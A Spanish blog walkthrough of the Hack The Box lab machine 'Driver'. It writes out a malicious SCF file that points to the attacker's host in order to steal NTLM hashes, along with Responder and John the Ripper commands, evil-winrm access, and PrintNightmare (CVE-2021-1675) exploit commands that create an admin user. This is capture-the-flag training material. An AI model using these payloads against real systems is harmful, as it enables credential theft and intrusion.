Intro
Escaneo inicial
Nmap -sC -sV -oA driver 10.10.11.106
-sC Ejecuta los scripts por defecto. ¡Ojo hay scripts considerados intrusivos no los utilices contra una red de la que no tengas permiso!
-sV Se puede emplear -A en su lugar, pero devuelve más datos y no es necesario.
-oA Seguido del nombre de archivo en el que quiero que guarde el escaneo, en este caso drive, pasa los resultados a todos los formatos (.nmap .xml .gnmap) y lo deja “grepeable” que puede usar grep.
Encontramos un puerto 80 http vamos a la web y pide usuario
y contraseña, como siempre probamos con las típicas, con usuario:admin y contraseña:admin deja entrar. Esto no es nada extraño la mayoría de impresoras o no tienen contraseña o tienen una contraseña ridícula.
Encontramos el panel de una impresora navegando por las opciones la única
que hace algo es la de firmware update, selecciono un archivo cualquiera y lo acepta.
Dice que el archivo ha sido cargado y que alguien lo revisara.
Perdiendo el tiempo con Burpsuite y FFUZ
Ya que tenemos un acceso, se puede probar con un fuzzer, con dirbuster, gobuster, cambiar y seguir las respuestas web con burpsuite (que aunque lo hice no lo documente). En este caso pruebo con ffuz y no consigo nada, esto es así vas probando caminos hasta que das con el que te permite seguir avanzando.
Instalo ffuf (Fuzz Faster U Fool) ya que no viene en la distribución de Parrot Linux.
Sudo apt install ffuf
Cosas que se van aprendiendo con la práctica, admin:admin codificado a Base64 es YWRtaW46YWRtaW4= Cuando usemos APIS una de las autenticaciones es por texto plano en Base64 que es la de esta máquina, hay muchas. (Aunque para sistemas más críticos, se utilizan hashes o sistemas de llaves, claves públicas, etc.).
Dejo enlace a documentación de IBM, explicando como hacer peticiones a su API.
https://www.ibm.com/docs/es/ibm-mq/9.1?topic=security-using-http-basic-authentication-rest-api
Dicho lo cual.
Una autenticación básica HTTP con REST API, se puede crear un cabecero como el siguiente para mandar las peticiones web.
Authorization: Basic YWRtaW46YWRtaW4=
Pues al lío, veamos que encontramos fuzzeando esa web con el usuario autenticado.
El archivo big.txt viene por defecto, creo que en Kali Linux también esta, es como su nombre indica un archivo grande de palabras típicas en servidores web.
ffuf -c -H 'Authentication: Basic YWRtaW46YWRtaW4=' -w /usr/share/wordlists/dirb/big.txt -u http://10.10.11.106/FUZZ -e .php,.zip,.txt,.pdf
-c saca la salida por consola con colorines, se ven más rápido los resultados.
-w ruta de lista de palabras, opcional palabra separada por: dos puntos en este caso no, pero podría poner. Uso big.txt
-H Header, cabezera "Name:Value" separados por una coma, Multiple -H flags se pueden usar
-u target url
-e extensiones separadas por coma, extiende la FUZZ keyword
Retomando el camino, más bien continuando pero por otro camino perdido.
En el escaneo inicial, teníamos un puerto SMB, pero no nos deja hacer gran cosa con él.
Pruebo a listar o conectar con smbclient sin usuario como anónimo y no consigo nada
smbclient -L 10.10.11.106
smbclient -L 10.10.11.106 -U
smbclient -U ‘ ‘ 10.10.11.106
Quiero probar el crackmapexec aunque ya está claro por donde va la máquina, dibujito de una impresora se llama driver y hace poco salió el fallo Printnightmare de Microsoft
Instalando y usando crackmapexec
Necesita python 3 y recomienda usar pipx por que aísla todas sus dependencias
apt-get install python3-venv
python3 -m pip install pipx
pipx ensurepath
pipx install crackmapexec
cme es la abreviación de crackmapexec hago las típicas búsquedas, araño un poco de información, pero nada que sirva.
cme smb 10.10.11.106 –shares
y devuelve
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
Enumero con usuario y pasword en blanco y nada
Solucionando la máquina
Retomemos, tenemos una impresora, podemos subir un archivo que alguien va a revisar y tenemos una conexión SMB, a la que sin usuario y password no podemos acceder.
Emplear un archivo SFC para capturar los hashes de quien se conecte, y luego crackearlos para obtener su contraseña.
Resumido un archivo SFC es un archivo muy básico con el que el explorador de archivos de Windows se entiende, por ejemplo, para saber que miniatura o icono tiene que mostrar.
Vamos a abusar de este archivo para qué nos envié los hashes NTLMv1/2 de todos los usuarios que accedan a una carpeta en la que este ese archivo.
La idea es subirlo con la actualización del firmware, la persona que compruebe la carpeta sin saberlo, nos mandara sus hashes solo con acceder y sin realizar ninguna acción solo con abrir la carpeta son nuestros.
Para ello creamos un archivo con este contenido, la ip 10.10.14.2 es la de mi máquina donde pondré un responder para cuando reciba las peticiones de test.ico
[Shell]
Command=2
IconFile=\\10.10.14.2\share\test.ico
[Taskbar]
Command=ToggleDesktop
Guardamos como: NOMBREQUEQUIERAS.SCF
Si no da el cante mucho mejor y si le pones delante un 1 para que sea de lo primero en cargar también, por ejemplo 1TMP.SCF
Preparamos el responder
responder -wrf --lm -v -I tun0
-I tun0 va a responder por a Interface tun0 con ifconfig he visto que interface estaba usando, como estoy en un tunnel ipsec en mi caso pues es tun0 otros podréis ser eth0 eth1 wlan0 etc.
-wrf lo típico, (es casi el estándar del responder).
lm para que haga downgrade en xp y sever 2003
v para que nos muestre en consola lo que va sucediendo.
Seleccionamos el archivo, le damos a submit y miramos la ventana del responder.
Subo el archivo otra vez y captura otros hashes distintos del mismo usuario.
Ctrl+c para salir
Copio únicamente los hashes en un archivo.
Una fila un hash, de esta manera:
PONGOALGOINVENTADO::NOESELORIGINAL:4f1c8e4d55150988:2B0067E04F1E0CD09B44382D4E32BB82:01010000000000008DC65B6D821AD801907826F2F909C70E00000000020000000000000000000000
NOQUIEROHACER::SPOILER:e25a12bb9fd4273e:40E3864027B693D4DC0864CC92DC7B60:0101000000000000A63D906D821AD80139C06452D451D28B00000000020000000000000000000000
John the ripper
Preparo john de ripper para petarlos, como le voy a pasar el rockyou (archivo con muchas claves compiladas que se usa en las CTF y que viene incluido en las distribuciones de pentesting).
Está comprimido para descomprimirlo en su dirección, /usr/share/wordlists/
sudo gzip -d rockyou.txt.gz
El nombre de archivo que he puesto es hasesparapetar
Y lanzo
john hasesparapetar --wordlist=/usr/share/wordlists/rockyou.txt
Wow eso fue rápido, en un segundo o menos tenemos el password para ese hash
--ESTESERIA EL USUARIO tiene ESTESERIA EL PASSWORD de password
Se puede confirmar pasando
john hasesparapetar –show
Entrar como usuario
Usamos evil-winrm
-i para especificar la ip a la que conectamos
-u para el usuario
-p pasa la clave
evil-winrm -i 10.10.11.106 -u USUARIO -p PASSWORD
Voy a la carpeta de Desktop y un Get-Content user.txt muestra el flag de user
Enumerar opciones para escalar privilegios y escalar a administrador
Descargo winpeas a mi máquina y en la máquina atacada se lo subo
upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/winPEASany.exe
y lo ejecuto
*Evil-WinRM* PS C:\Users\USUARIO\Documents> ./winPEASany.exe
Da mucha información, pero como estoy cansado voy directo al grano.
Busco por internet algún exploit de PrintNightmare
Elijo el de Caleb Stewart y John Hammond, ya que John Hammond me mola en su canal de YouTube y suele ser muy didáctico y minucioso.
Descargo en mi equipo el exploit
git clone https://github.com/calebstewart/CVE-2021-1675
En la máquina remota subo el ps1
upload /home/htb-USUARIO/my_data/drivermaquina10.10.11.106/CVE-2021-1675/CVE-2021-1675.ps1
Ejecuto me da error… me quiero ir a dormir… ostras lo de siempre con powershell tengo restricted ya sabéis que la ejecución de scripts de powershell suele estar en modo restringido.
Lo cambio, ejecuto el exploit y me creo un usuario
*Evil-WinRM* PS C:\Users\USUARIO\Documents> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force
*Evil-WinRM* PS C:\Users\USUARIO\Documents> Import-Module .\CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\USUARIO\Documents> Invoke-Nightmare -NewUser "ELQUESEA" -NewPassword "Zaq123456"
Pero...
No funciona, miro servicios no tiene el spooler,
puede ser que alguien en la misma máquina haya hecho alguna fechoría como no soy admin no puedo hacer un sc start spooler. Reinicio la máquina.
Ejecuto lo anterior
Exit para salir del Evil-Winrm
Conecto con el usuario creado y Get-Content root.txt
No hay comentarios:
Publicar un comentario
Según la ley de Ohm, la intensidad de la corriente es igual al voltaje dividido por la resistencia que oponen los cuerpos.
Comenta lo que quieras, agradece o consulta tus dudas, siempre que pueda te responderé, Saludos!